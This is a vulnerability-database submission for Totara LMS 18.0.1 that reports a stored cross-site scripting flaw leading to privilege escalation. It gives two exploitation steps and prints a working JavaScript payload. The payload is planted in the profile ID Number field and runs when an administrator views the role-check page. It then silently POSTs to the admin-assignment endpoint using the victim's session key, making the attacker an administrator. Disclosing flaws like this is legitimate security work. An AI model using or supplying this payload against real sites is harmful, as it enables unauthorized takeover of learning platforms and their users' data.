| Title | Totara Totara LMS Totara 18.0.1 (Build: 20231128.01) Privileges Scalation |
|---|
| Description | # Exploit Title: CSRF Privileges Scalation Totara 18.0.1
# Date: 2024-04-10
# Author: Patricio Alejandro Moraga Abarca (RREEDD) and Juan Carlos Garcés Bernt (DeBobiPro)
# Category : webapps
# Tested on: Totara 18.0.1 (Build: 20231128.01)
# Proof Of Concept:
1. In your user profile modify the "ID Number" variable by entering the payload.
2. The payload will be executed by the administrator when visiting the site "admin/roles/check.php", making the profile defined in the administrator payload.
# Payload
<script>const http = new XMLHttpRequest(); http.open("POST", "/admin/roles/admins.php", false); http.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); http.send("confirmadd=<USER ID>&sesskey="+M.cfg.sesskey);</script>
#The <USER ID> field must be modified by the value of your user.
#The variable "sesskey", is unique to each login, so we get it dynamically with the call to the object "M.cfg.sesskey". |
|---|
| Submission | 10.04.2024 19:35 (29 days ago) |
|---|
| Moderation | 17.04.2024 18:58 (7 days later) |
|---|
| Status | принято |
|---|
| VulDB Entry | 261369 |
|---|